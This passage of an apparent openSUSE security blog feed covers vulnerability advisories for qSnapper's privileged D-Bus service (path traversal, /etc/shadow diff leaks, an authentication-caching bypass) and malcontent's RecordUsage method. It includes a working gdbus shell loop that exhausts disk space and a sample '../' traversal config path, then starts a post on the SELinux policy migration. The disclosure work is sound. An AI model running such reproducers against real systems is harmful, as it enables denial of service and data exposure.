<p>All the D-Bus methods accepting <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L470">a <code class="language-plaintext highlighter-rouge">configName</code> parameter</a>
(that is nearly all of them) suffer from a path traversal vulnerability. This
string parameter is directly passed to <code class="language-plaintext highlighter-rouge">snapper::Snapper()</code>, which is part of
the libsnapper API, without checking its safety. libsnapper expects a basename
here to look up a configuration file in <code class="language-plaintext highlighter-rouge">/etc/snapper/configs</code>. In the context
of qSnapper this string can contain additional path components like
<code class="language-plaintext highlighter-rouge">../../path/to/crafted.cfg</code>. This allows clients to use arbitrary
configuration files as input to libsnapper.</p>

<p>When looking at the <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L349">writeSnapperConfig()</a> D-Bus
method, which requires admin authentication, this path traversal allows to
write largely attacker-controlled data to arbitrary locations. Combined with
the Polkit authentication bypass described earlier in <a href="#issue-polkit-bypass">section
3.1</a>, this would allow for a full local root
exploit.</p>

<p>In case of other D-Bus methods which use the <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/polkit/com.presire.qsnapper.policy#L8">“list-snapshots” Polkit
action</a>, the path traversal is also accessible to
locally logged-in users without any authentication. Luckily the libsnapper
<a href="http://snapper.io/manpages/snapper-configs.html">configuration file format</a> offers no features that
lead to a trivial local root exploit in this context. The impact of the
vulnerability can be any of the following, however:</p>

<ul>
  <li>local Denial-of-Service (DoS): by pointing libsnapper to a special file like
<code class="language-plaintext highlighter-rouge">/dev/zero</code>, the daemon will consume the maximum amount of memory and be
killed by the kernel. By pointing libsnapper to a named FIFO special file,
the daemon will block indefinitely.</li>
  <li>information leak from parsing of private files: by pointing libsnapper to a
private file like <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, libsnapper will parse the sensitive data
from the file as configuration data. If any logging features are active and
the logs can be accessed by unprivileged users, then private data from such a
file might leak into the unprivileged context. We are not aware of such an
information leak in default installations, however.</li>
  <li>by providing crafted configuration data further attacks can be carried out:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">SUBVOLUME</code> can be pointed to arbitrary mounts in the system. Luckily
libsnapper is conservative in its file operations here, and quite strictly
verifies the validity of this path; it verifies if it is really a mount
point and is backed by the expected block device and file system etc.</li>
      <li><code class="language-plaintext highlighter-rouge">ALLOW_USERS</code> and <code class="language-plaintext highlighter-rouge">ALLOW_GROUPS</code> can be set to arbitrary users and groups,
allowing them officially to control the Snapper configuration.</li>
      <li>The <code class="language-plaintext highlighter-rouge">SYNC_ACL</code> setting causes libsnapper to apply ACL entries to the
<code class="language-plaintext highlighter-rouge">.snapshots</code> directory of the volume path, granting the users and groups
from <code class="language-plaintext highlighter-rouge">ALLOW_USERS</code> and <code class="language-plaintext highlighter-rouge">ALLOW_GROUPS</code> to access the snapshot data. Thus
this is a major local information leak.</li>
    </ul>
  </li>
</ul>

<p>libsnapper is using different backends depending on the file system type.
Different code is used for each backend, which means that the exploitability
of some aspects of the vulnerability depends on which backend is used. On
openSUSE only the Btrfs and LVM thin volume backends are compiled-in by
default, which only offer little additional attack surface.</p>

<p>To fix the issue, we suggested to upstream to verify the <code class="language-plaintext highlighter-rouge">configName</code>
parameter in all cases and reject it if any <code class="language-plaintext highlighter-rouge">/</code> or <code class="language-plaintext highlighter-rouge">..</code> components are
found in it.</p>

<h2 id="issue-info-leak">3.3) Information Leak via “diff” Methods (CVE-2026-41047)</h2>

<p>The Polkit action <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/polkit/com.presire.qsnapper.policy#L8">“list-snapshots”</a> is allowed for
locally logged-in users without authentication, and is used by multiple
qSnapper D-Bus methods which are likely considered “read-only” operations not
harmful to the system. In version 1.1.3 of qSnapper the following methods are
relying on this Polkit action:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ListSnapshots()</code></li>
  <li><code class="language-plaintext highlighter-rouge">GetFileChanges()</code></li>
  <li><code class="language-plaintext highlighter-rouge">GetFileDiffAndDetails()</code></li>
</ul>

<p>In version 1.3.2 of qSnapper these additional methods are using the action:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">GetFileChangesBetween()</code></li>
  <li><code class="language-plaintext highlighter-rouge">GetFileDiffBetween()</code></li>
</ul>

<p>These methods allow to obtain information about metadata changes of arbitrary
files between snapshots or between snapshots and the live filesystem. The
newer <code class="language-plaintext highlighter-rouge">GetFileDiffBetween()</code> method even offers full file content diff output.
These are major local information leaks, since unprivileged users can get a
diff e.g. of the <code class="language-plaintext highlighter-rouge">/etc/shadow</code> file between different system states, or
changes from root’s home directory which could leak sensitive data like
passwords or private keys.</p>

<p>To fix this, we suggested to upstream that all methods providing non-public
information get restricted by <code class="language-plaintext highlighter-rouge">auth_admin</code> Polkit checks. Alternatively, a check
could be implemented whether the files to be diffed are normally accessible to
the caller by using checks similar to the <code class="language-plaintext highlighter-rouge">access()</code> system call; such an
approach would likely be rather complex and error-prone, however.</p>

<h2 id="issue-auth-caching">3.4) Caching of Authentication allows Authentication Bypass (CVE-2026-41048, CVE-2026-41049)</h2>

<p>In version 1.2.1 of qSnapper an <code class="language-plaintext highlighter-rouge">m_authenticated</code> flag was introduced to the
daemon’s code, which caches authentication once a client has passed certain Polkit
action authentication checks. This cached authentication is shared between the
methods <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L803"><code class="language-plaintext highlighter-rouge">DeleteSnapshot()</code></a>,
<a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1318"><code class="language-plaintext highlighter-rouge">RestoreFiles()</code></a> and
<a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1510"><code class="language-plaintext highlighter-rouge">RestoreFilesDirect()</code></a>. There are two issues
with this approach:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">DeleteSnapshot()</code> uses the “delete-snapshot” action, while the
other methods use the “rollback-snapshot” action. If a caller can
authenticate for “delete-snapshot” then it is also implicitly authenticated
for “rollback-snapshot” and vice versa. This is not how Polkit is intended
to be used. If a system administrator decides to relax the authentication
requirement for “delete-snapshot”, then this automatically implies the
“rollback-snapshot” action now, which are two very different impacts to the
system. We assigned CVE-2026-41048 for this aspect of the issue.</li>
  <li>The implementation of the caching logic assumes that a single interactive
client is talking to the daemon. In fact, arbitrary users can invoke
these methods. If a legitimate client is authenticated for one of the affected
actions once, then arbitrary other users like <code class="language-plaintext highlighter-rouge">nobody</code> are now
also considered authenticated and Polkit will not be invoked anymore. This
authentication bypass allows for a full local root exploit in the context of
the <code class="language-plaintext highlighter-rouge">RestoreFiles()</code> methods, as outlined below in <a href="#issue-other">section
3.6</a>. We assigned CVE-2026-41049 for this aspect of the
issue.</li>
</ul>

<p>We suggested to upstream to drop this form of authentication caching, or
alternatively implement an authentication cache tied to each user and each
Polkit action in question to avoid the issues.</p>

<h2 id="issue-defense-in-depth">3.5) Defense-in-Depth Issues when Restoring Arbitrary Files</h2>

<p>This section discusses Defense-in-Depth issues which remain once all the
more tangible issues discussed above are fixed. The
<a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1318">restoreFiles()</a> D-Bus method accepts arbitrary
<code class="language-plaintext highlighter-rouge">filePaths</code> as parameter to be restored from a version found in a snapshot.
Clients need to authenticate as an administrator to do this, so there is no
direct attack surface. Let’s consider the path <code class="language-plaintext highlighter-rouge">/var/lib/colord/mapping.db</code> to
be restored, however:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># On openSUSE Tumbleweed this directory is owned and writable by `colord`</span>
<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lh</span> /var/lib/colord
drwxr-xr-x 3 colord colord 4.0K Mar 6 2024 <span class="nb">.</span>
</code></pre></div></div>

<p>At the time the qSnapper service <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1418">performs the
<code class="language-plaintext highlighter-rouge">chown()</code></a> system call, the <code class="language-plaintext highlighter-rouge">colord</code> service user can
stage a symlink attack in the <code class="language-plaintext highlighter-rouge">colord</code> directory and cause arbitrary files in
the system to receive <code class="language-plaintext highlighter-rouge">colord</code> ownership, allowing a <code class="language-plaintext highlighter-rouge">colord</code> to <code class="language-plaintext highlighter-rouge">root</code>
exploit. A similar issue affects the <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1431"><code class="language-plaintext highlighter-rouge">copyRegularFile()</code>
function</a>, where a file on the live file system is
<a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1721">newly created</a>.</p>

<p>This issue is hard to fix, given the many different file system situations
that the restore operation can end up in. The basic algorithm to address the
problem would need to use low-level system calls like <code class="language-plaintext highlighter-rouge">openat()</code>, <code class="language-plaintext highlighter-rouge">fchown()</code>
and <code class="language-plaintext highlighter-rouge">fstatat()</code> to safely traverse file system paths and inspect any symbolic
links on the way. Given the complexity of the bugfix and limited impact, we
agreed with the upstream author that this fix does not need to be prepared
during the coordinated disclosure period but can be developed in the open
afterwards.</p>

<p>Given the amount of front-line security issues already found in qSnapper in
the course of this review, we refrained from assigning a dedicated CVE for
these Defense-in-Depth issues in this case.</p>

<h2 id="issue-other">3.6) Other Issues</h2>

<p>This section covers a number of other issues that are not fully-fledged
security issues, but still represent weaknesses or possible hardenings for the
qSnapper implementation.</p>

<ul>
  <li>the D-Bus method <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1318"><code class="language-plaintext highlighter-rouge">RestoreFiles()</code></a> implements complex
file operations to rollback changes of a file path to the state found in a
snapshot. These file operations allow authenticated clients to achieve nearly
arbitrary file operations:
    <ul>
      <li>recursive deletion of arbitrary paths</li>
      <li>copy of arbitrary files to arbitrary locations</li>
      <li>change of ownership of files to arbitrary users</li>
      <li>change of the file mode to arbitrary values</li>
    </ul>

    <p>This is because the method is not verifying whether the claimed file exists
in the snapshot in the first place and whether the <code class="language-plaintext highlighter-rouge">filePaths</code> contain any
<code class="language-plaintext highlighter-rouge">../</code> directory components to escape the snapshot directory. While this
method is protected by Polkit’s <code class="language-plaintext highlighter-rouge">auth_admin</code> setting, any D-Bus method should
be written conservatively and in such a way that the intended purpose of the
method cannot be bypassed. The very similar method
<a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L1510"><code class="language-plaintext highlighter-rouge">RestoreFilesDirect()</code></a> has the same issues and
also contains a lot of duplicate code which should be merged with the other
method’s code.</p>
  </li>
  <li>the <a href="https://github.com/presire/qSnapper/blob/485a7ee9256c8e25de87a5d69d538e318e49b56d/src/dbusservice/snapshotoperations.cpp#L410">Quit() method</a> can be called by anyone in the system without
authentication. This is kind of a local DoS against an active qSnapper
daemon in use by other users in the system.</li>
  <li>the logfile created in <code class="language-plaintext highlighter-rouge">/var/log/qSnapper</code> will be world-readable, which
could leak sensitive information. For hardening purposes it could be made
private to <code class="language-plaintext highlighter-rouge">root</code>.</li>
</ul>

<h1 id="upstream-bugfixes">4) Upstream Bugfixes</h1>

<p>The upstream author closely followed our suggestions to fix the security
issues described in this report. <a href="https://github.com/presire/qSnapper/releases/tag/v1.3.3">Version 1.3.3</a> of
qSnapper contains the following bugfixes:</p>

<ul>
  <li><a href="https://github.com/presire/qSnapper/commit/a6caf538fca1e678b81b1c85500c3d071a5edc6d">commit a6caf538</a> addresses the following
issues:
    <ul>
      <li>the Polkit <code class="language-plaintext highlighter-rouge">UnixProcess</code> subject is replaced by the <code class="language-plaintext highlighter-rouge">SystemBusName</code>
subject to avoid the race condition during authentication (<a href="#issue-polkit-bypass">issue
3.1</a>).</li>
      <li>the <code class="language-plaintext highlighter-rouge">configName</code> parameter in all D-Bus methods is now carefully verified
and rejected if it allows path traversal (<a href="#issue-path-traversal">issue
3.2</a>).</li>
      <li>the authentication caching is removed (<a href="#issue-auth-caching">issue
3.4</a>).</li>
      <li>the <code class="language-plaintext highlighter-rouge">RestoreFiles</code> methods reject path traversal attempts (see <a href="#issue-other">section
3.6</a>).</li>
    </ul>
  </li>
  <li><a href="https://github.com/presire/qSnapper/commit/f375b74c34e0d07c0edc48f62c02846ad3c9f3ec">commit f375b74c</a> addresses the
following issues:
    <ul>
      <li>a new <code class="language-plaintext highlighter-rouge">view-diff</code> Polkit action is introduced to generate file diffs which
requires <code class="language-plaintext highlighter-rouge">auth_admin</code> authentication to prevent information leaks (<a href="#issue-info-leak">issue
3.3</a>).</li>
      <li>the unauthenticated <code class="language-plaintext highlighter-rouge">Quit</code> D-Bus method was dropped (see <a href="#issue-other">section
3.6</a>).</li>
      <li>log files are now created without world-readable bit (see
<a href="#issue-other">section 3.6</a>).</li>
    </ul>
  </li>
</ul>

<p>The more complex defense-in-depth issues outlined in <a href="#issue-defense-in-depth">section
3.5</a> have been addressed in the open later on
and are contained in <a href="https://github.com/presire/qSnapper/releases/tag/v1.3.4">release v1.3.4</a>.</p>

<h1 id="5-disclosure-process">5) Disclosure Process</h1>

<p>Once we established contact with the upstream author, we had a very
constructive discussion of the coordinated disclosure process. Upstream
quickly acknowledged the issues, opted for coordinated disclosure and
communicated a time schedule when bugfixes were expected to be available for
review and when a bugfix release of qSnapper would be published.
When we agreed on the final bugfixes in the middle of May, we agreed on
choosing an earlier publication date than originally intended.</p>

<p>We want to thank the upstream author for handling this report in a very
professional fashion and for greatly improving the security and robustness of
qSnapper.</p>

<h1 id="6-timeline">6) Timeline</h1>

<table>
  <tbody>
    <tr>
      <td>2026-04-09</td>
      <td>Lacking any other point of contact, we created a <a href="https://github.com/presire/qSnapper/issues/5">public GitHub issue</a> asking for a security contact.</td>
    </tr>
    <tr>
      <td>2026-04-13</td>
      <td>The upstream developer responded in the issue providing an email address for us to reach out to.</td>
    </tr>
    <tr>
      <td>2026-04-13</td>
      <td>We reached out to the developer privately by email providing a detailed report and offering coordinated disclosure.</td>
    </tr>
    <tr>
      <td>2026-04-14</td>
      <td>Due to issues with mail servers our email did not reach the upstream developer. Upstream offered us another email address to try.</td>
    </tr>
    <tr>
      <td>2026-04-15</td>
      <td>We received a reply from the upstream developer confirming the issues and requesting coordinated disclosure. Upstream accepted our offer to assign CVEs for the issues. A preliminary disclosure date of 2026-07-07 was established.</td>
    </tr>
    <tr>
      <td>2026-04-17</td>
      <td>We assigned CVEs and shared them with upstream.</td>
    </tr>
    <tr>
      <td>2026-05-08</td>
      <td>We received a tarball containing the current release candidate code of qSnapper.</td>
    </tr>
    <tr>
      <td>2026-05-11</td>
      <td>We asked the upstream author if individual bugfixes could be supplied instead.</td>
    </tr>
    <tr>
      <td>2026-05-12</td>
      <td>We received the individual patches we asked for.</td>
    </tr>
    <tr>
      <td>2026-05-12</td>
      <td>We provided feedback on the current state of the patches. Apart from minor details and hardening suggestions the patches were already in good shape.</td>
    </tr>
    <tr>
      <td>2026-05-14</td>
      <td>We received updated patches for review and found no further issues. Given the good progress on the bugfixes, an earlier coordinated release date of 2026-05-26 was agreed upon.</td>
    </tr>
    <tr>
      <td>2026-05-26</td>
      <td>As planned, upstream released <a href="https://github.com/presire/qSnapper/releases/tag/v1.3.3">qSnapper 1.3.3</a> containing the bugfixes.</td>
    </tr>
    <tr>
      <td>2026-05-26</td>
      <td>Publication of this report.</td>
    </tr>
  </tbody>
</table>

<h1 id="7-references">7) References</h1>

<ul>
  <li><a href="https://github.com/presire/qSnapper.git">qSnapper GitHub repository</a></li>
  <li><a href="https://github.com/presire/qSnapper/releases/tag/v1.3.3">qSnapper 1.3.3 bugfix release</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1261537">openSUSE review bug for qSnapper</a></li>
</ul>

<h1 id="change-history">Change History</h1>

<table>
  <tbody>
    <tr>
      <td>2026-06-26</td>
      <td>Updated <a href="#upstream-bugfixes">section 4</a> with information about release v1.3.4 containing hardening bugfixes.</td>
    </tr>
  </tbody>
</table>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="CVE" /><category term="D-Bus" /><summary type="html"><![CDATA[qSnapper is a GUI frontend for the Snapper utility for managing Btrfs file system snapshots. In versions up to qSnapper 1.3.2 various security issues are found in a privileged D-Bus service component, allowing for Denial-of-Service, authentication bypass, information leaks or even a local root exploit.]]></summary></entry><entry><title type="html">malcontent: Disk Space Exhaustion via Globally Accessible D-Bus API (CVE-2026-44931)</title><link href="https://security.opensuse.org/2026/05/11/malcontent-disk-space-dos.html" rel="alternate" type="text/html" title="malcontent: Disk Space Exhaustion via Globally Accessible D-Bus API (CVE-2026-44931)" /><published>2026-05-11T00:00:00+00:00</published><updated>2026-05-11T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/05/11/malcontent-disk-space-dos</id><content type="html" xml:base="https://security.opensuse.org/2026/05/11/malcontent-disk-space-dos.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a></li>
  <li><a href="#review-summary" id="markdown-toc-review-summary">Review Summary</a></li>
  <li><a href="#disk-space-exhaustion-issue" id="markdown-toc-disk-space-exhaustion-issue">Disk Space Exhaustion Issue</a></li>
  <li><a href="#upstream-report" id="markdown-toc-upstream-report">Upstream Report</a></li>
  <li><a href="#cve-assignment" id="markdown-toc-cve-assignment">CVE Assignment</a></li>
  <li><a href="#timeline" id="markdown-toc-timeline">Timeline</a></li>
  <li><a href="#references" id="markdown-toc-references">References</a></li>
</ul>

<h1 id="introduction">Introduction</h1>

<p><a href="https://gitlab.freedesktop.org/pwithnall/malcontent">malcontent</a> is a parental control system for the GNOME
desktop environment which allows to restrict access to adult Internet content
and to keep track of and restrict the amount of screen time for children. As
part of the GNOME 50 version update malcontent 0.14.0 was packaged for
openSUSE, <a href="https://bugzilla.suse.com/show_bug.cgi?id=1258140">triggering a review</a> of changes in the package’s
D-Bus methods and Polkit actions.</p>

<p>During this review we identified a local disk space exhaustion attack vector
via one of the newly added D-Bus methods. There is currently no upstream
bugfix available for the issue. The full details about the issue and
communication with upstream will be provided in the following sections.</p>

<h1 id="review-summary">Review Summary</h1>

<p>The <a href="https://bugzilla.suse.com/show_bug.cgi?id=1258140#c3">complexity</a> of malcontent increased a lot
compared to <a href="https://bugzilla.suse.com/show_bug.cgi?id=1177974">the last time</a> we looked into it.
There now exist three different malcontent D-Bus daemons utilizing three
different service user accounts and some additional daemons not providing
D-Bus interfaces on top of that.</p>

<p>Some parts of the user tracking in malcontent suffer from race conditions. We
believe this is acceptable, given that parental controls don’t need to be
strong security boundaries; it is sufficient if the target audience (children)
is not able to bypass the parental controls.</p>

<h1 id="disk-space-exhaustion-issue">Disk Space Exhaustion Issue</h1>

<p>The newly introduced <a href="https://gitlab.freedesktop.org/pwithnall/malcontent/-/blob/0.14.0/libmalcontent-timer/child-timer-service.c?ref_type=tags#L892"><code class="language-plaintext highlighter-rouge">RecordUsage</code> D-Bus method</a> in
<code class="language-plaintext highlighter-rouge">malcontent-timerd</code> is problematic beyond the possibility to bypass parental
controls. It allows arbitrary users in the system to slowly fill up disk space
in <code class="language-plaintext highlighter-rouge">/var/lib/malcontent-timerd</code>. The following shell construct is a simple
reproducer of the issue:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>I <span class="k">in</span> <span class="sb">`</span><span class="nb">seq </span>100000<span class="sb">`</span><span class="p">;</span> <span class="k">do
    </span>gdbus call <span class="nt">-y</span> <span class="nt">-d</span> org.freedesktop.MalcontentTimer1 <span class="se">\</span>
        <span class="nt">-o</span> /org/freedesktop/MalcontentTimer1 <span class="se">\</span>
        <span class="nt">-m</span> org.freedesktop.MalcontentTimer1.Child.RecordUsage <span class="se">\</span>
        <span class="s2">"[(0, 1000, </span><span class="se">\"</span><span class="s2">app</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">org.gnome.MyApp</span><span class="nv">$I</span><span class="se">\"</span><span class="s2">)]"</span>
<span class="k">done</span>
</code></pre></div></div>

<p>The daemon will create an entry for every supposed GNOME app identifier passed
to it in <code class="language-plaintext highlighter-rouge">/var/lib/malcontent-timerd/store/&lt;caller-username&gt;.gvdb</code>. This will
slowly use up the disk space in <code class="language-plaintext highlighter-rouge">/var</code> and therefore is a local
Denial-of-Service attack vector.</p>

<p>To fix the problem, the method call could be restricted to callers in local
active sessions. Furthermore an upper limit of usage entries could be placed
on every user account to prevent excess disk usage.</p>

<h1 id="upstream-report">Upstream Report</h1>

<p>We reported this issue <a href="https://gitlab.freedesktop.org/pwithnall/malcontent/-/work_items/137">privately</a> via the upstream’s
GitLab bug tracker on 2026-02-18 offering coordinated disclosure. We only
received an initial reply a couple of weeks later in which upstream confirmed
the issue but also mentioned that there is a lack of developer resources for
malcontent. At this time we expressed our opinion that a non-disclosure period
would not be strictly necessary since the impact of the issue is not high. We
never received further replies from upstream, so we decided to go public with
this report to avoid wasting more time without a bugfix being developed.</p>

<h1 id="cve-assignment">CVE Assignment</h1>

<p>Due to the lack of replies we could not discuss with upstream whether a CVE
assignment is appropriate for this issue. Given that upstream at least
basically confirmed the issue and there is no bugfix available we assigned
CVE-2026-44931 to track the defect and to make others aware.</p>

<h1 id="timeline">Timeline</h1>

<table>
  <tbody>
    <tr>
      <td>2026-02-18</td>
      <td>We created a <a href="https://gitlab.freedesktop.org/pwithnall/malcontent/-/work_items/137">private issue</a> in the upstream GitLab, offering coordinated disclosure.</td>
    </tr>
    <tr>
      <td>2026-03-11</td>
      <td>Lacking a reaction we pinged the issue asking if anybody were reading it.</td>
    </tr>
    <tr>
      <td>2026-03-11</td>
      <td>An upstream developer responded confirming the issue and pointing out that little developer time is available for malcontent.</td>
    </tr>
    <tr>
      <td>2026-03-23</td>
      <td>We asked how upstream wants to continue regarding coordinated disclosure. We explained that in our view a non-disclosure period is not strictly necessary for the issue and pointed out that the maximum non-disclosure period we can offer is 90 days until 2026-05-19.</td>
    </tr>
    <tr>
      <td>2026-04-09</td>
      <td>Still without an answer we urged upstream once more to come to a decision and a path forward regarding the publication of the issue.</td>
    </tr>
    <tr>
      <td>2026-04-21</td>
      <td>We informed upstream that we would publish the report on our end if no reaction is received by 2026-04-30.</td>
    </tr>
    <tr>
      <td>2026-05-05</td>
      <td>We published our <a href="https://bugzilla.suse.com/show_bug.cgi?id=1258140">Bugzilla bug</a> describing the issue.</td>
    </tr>
    <tr>
      <td>2026-05-08</td>
      <td>We assigned CVE-2026-44931 for the issue and communicated this in the upstream issue.</td>
    </tr>
    <tr>
      <td>2026-05-11</td>
      <td>Publication of this report.</td>
    </tr>
  </tbody>
</table>

<h1 id="references">References</h1>

<ul>
  <li><a href="https://gitlab.freedesktop.org/pwithnall/malcontent">malcontent freedesktop repository</a></li>
  <li><a href="https://gitlab.freedesktop.org/pwithnall/malcontent/-/work_items/137">malcontent upstream private bug about this issue</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1258140">openSUSE review bug for malcontent 0.14.0</a></li>
</ul>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="CVE" /><category term="D-Bus" /><summary type="html"><![CDATA[malcontent is a parental control system for the GNOME desktop environment which supports restriction of content access and screen time for children. In version 0.14.0 of malcontent a D-Bus method has been added which allows arbitrary users in the system to fill up the disk space in /var/lib/malcontent-timerd.]]></summary></entry><entry><title type="html">SELinux: Policy Packaging Migration to support Snapshots and Rollbacks</title><link href="https://security.opensuse.org/2026/04/29/selinux-modules-move-to-etc.html" rel="alternate" type="text/html" title="SELinux: Policy Packaging Migration to support Snapshots and Rollbacks" /><published>2026-04-29T00:00:00+00:00</published><updated>2026-04-29T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/04/29/selinux-modules-move-to-etc</id><content type="html" xml:base="https://security.opensuse.org/2026/04/29/selinux-modules-move-to-etc.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#0-tldr" id="markdown-toc-0-tldr">0) TL;DR</a></li>
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#2-issues-with-current-selinux-policy-packaging" id="markdown-toc-2-issues-with-current-selinux-policy-packaging">2) Issues with current SELinux policy packaging</a></li>
  <li><a href="#3-solution-migration-from-var-to-etc" id="markdown-toc-3-solution-migration-from-var-to-etc">3) Solution: migration from /var to /etc</a>    <ul>
      <li><a href="#packages-involved-in-the-migration" id="markdown-toc-packages-involved-in-the-migration">Packages involved in the migration</a></li>
    </ul>
  </li>
  <li><a href="#4-troubleshooting" id="markdown-toc-4-troubleshooting">4) Troubleshooting</a></li>
  <li><a href="#5-closing-remarks" id="markdown-toc-5-closing-remarks">5) Closing Remarks</a></li>
  <li><a href="#6-references" id="markdown-toc-6-references">6) References</a></li>
  <li><a href="#change-history" id="markdown-toc-change-history">Change History</a></li>
</ul>

<h1 id="0-tldr">0) TL;DR</h1>

<ul>
  <li>The SELinux policy packaging had long-standing issues on systems using BTRFS
snapshots: files under <code class="language-plaintext highlighter-rouge">/var/lib/selinux</code> were not covered by snapshots and
could not be rolled back.</li>
  <li>These files have now been migrated to <code class="language-plaintext highlighter-rouge">/etc/selinux</code>, which allows the SELinux
policy to be fully covered by snapshots.</li>
  <li>The migration applies to openSUSE Tumbleweed and MicroOS systems using
SELinux.</li>
  <li>The migration is transparent to the user and automatic on default setups. If
you have a non-standard filesystem setup, or if you observe issues, read the
full post below.</li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p>SELinux has been the Mandatory Access Control mechanism on openSUSE
distributions such as MicroOS and Leap Micro since 2022, and most recently
openSUSE Tumbleweed <a href="https://news.opensuse.org/2025/02/13/tw-plans-to-adopt-selinux-as-default/">switched the default MAC to SELinux</a> in
February 2025.</p>

<p>The files installed on a system by the SELinux policy package have traditionally
been split between <code class="language-plaintext highlighter-rouge">/var/lib/selinux</code>, <code class="language-plaintext highlighter-rouge">/usr/share/selinux</code> and <code class="language-plaintext highlighter-rouge">/etc/selinux</code>
on most Linux distributions, including openSUSE. The separation across these
directory trees conflicts with the modern Linux concept of atomic/image-based
updates, which in openSUSE has been implemented as a <a href="https://en.opensuse.org/openSUSE:Packaging_Requirements_for_Atomic_and_Image_Update">snapshot and rollback
mechanism based on BTRFS</a>. This mechanism only snapshots
the <code class="language-plaintext highlighter-rouge">/usr</code> and <code class="language-plaintext highlighter-rouge">/etc</code> trees, intended for packages and configuration
respectively. Other directory trees are meant for user files or, as in the case
of <code class="language-plaintext highlighter-rouge">/var</code>, for mutable system state files, and as such are not covered by
snapshots.</p>

<p>Installing SELinux policy files under <code class="language-plaintext highlighter-rouge">/var</code> violates this requirement, and can
result in inconsistency in case of rollbacks: policy files under <code class="language-plaintext highlighter-rouge">/etc</code> and
<code class="language-plaintext highlighter-rouge">/usr</code> would be rolled back, but files under <code class="language-plaintext highlighter-rouge">/var</code> would not be touched.</p>

<p>To resolve this issue, we have migrated SELinux policy files under <code class="language-plaintext highlighter-rouge">/var</code> to
<code class="language-plaintext highlighter-rouge">/etc</code>. The migration is automatic and does not require any user interaction in
standard setups. This blog post explains the issue in more detail, documents the
steps taken to migrate the files, and describes known issues and how to resolve
them.</p>

<h1 id="2-issues-with-current-selinux-policy-packaging">2) Issues with current SELinux policy packaging</h1>

<p>Atomic/image-based update systems have become increasingly relevant in recent
years. In openSUSE, this concept has been realised as both fully transactional
systems (e.g. MicroOS, Leap Micro) and as regular distributions with automatic
snapshots and the possibility to rollback broken updates (e.g. Tumbleweed). In
both of these cases, the traditional SELinux policy packaging causes some
issues.</p>

<p>In case of a rollback of an update containing a change to the SELinux policy, if
there is a mismatch between what was rolled back (<code class="language-plaintext highlighter-rouge">/usr/share/selinux</code> and
<code class="language-plaintext highlighter-rouge">/etc/selinux</code>) and what could not (<code class="language-plaintext highlighter-rouge">/var/lib/selinux</code>), this could lead to
policy build issues, external module installation issues, and could bring the
SELinux policy and the whole system into a state which is difficult to recover
from automatically.</p>

<p>In practice, these issues are very rare, since they require a particular set of
circumstances:</p>
<ol>
  <li>installing a policy update which contains backwards-incompatible changes
(e.g. adding or removing SELinux types, attributes, modules …)</li>
  <li>rolling back this update</li>
  <li>performing some action which requires the SELinux policy items affected by
the rollback, such as rebuilding the policy or an affected external policy
module (either manually or e.g. via RPM package installation).</li>
</ol>

<p>As a matter of policy, these kinds of backwards-incompatible policy updates are
never performed on distributions such as Leap Micro (except possibly during
migration between major distribution versions), thus preventing the issue. On
Tumbleweed and MicroOS these updates can happen, albeit rarely, and when
combined with the probability of a rollback and the further triggering actions
they become exceedingly rare.</p>

<p>Manually reinstalling the SELinux policy package (and any affected external
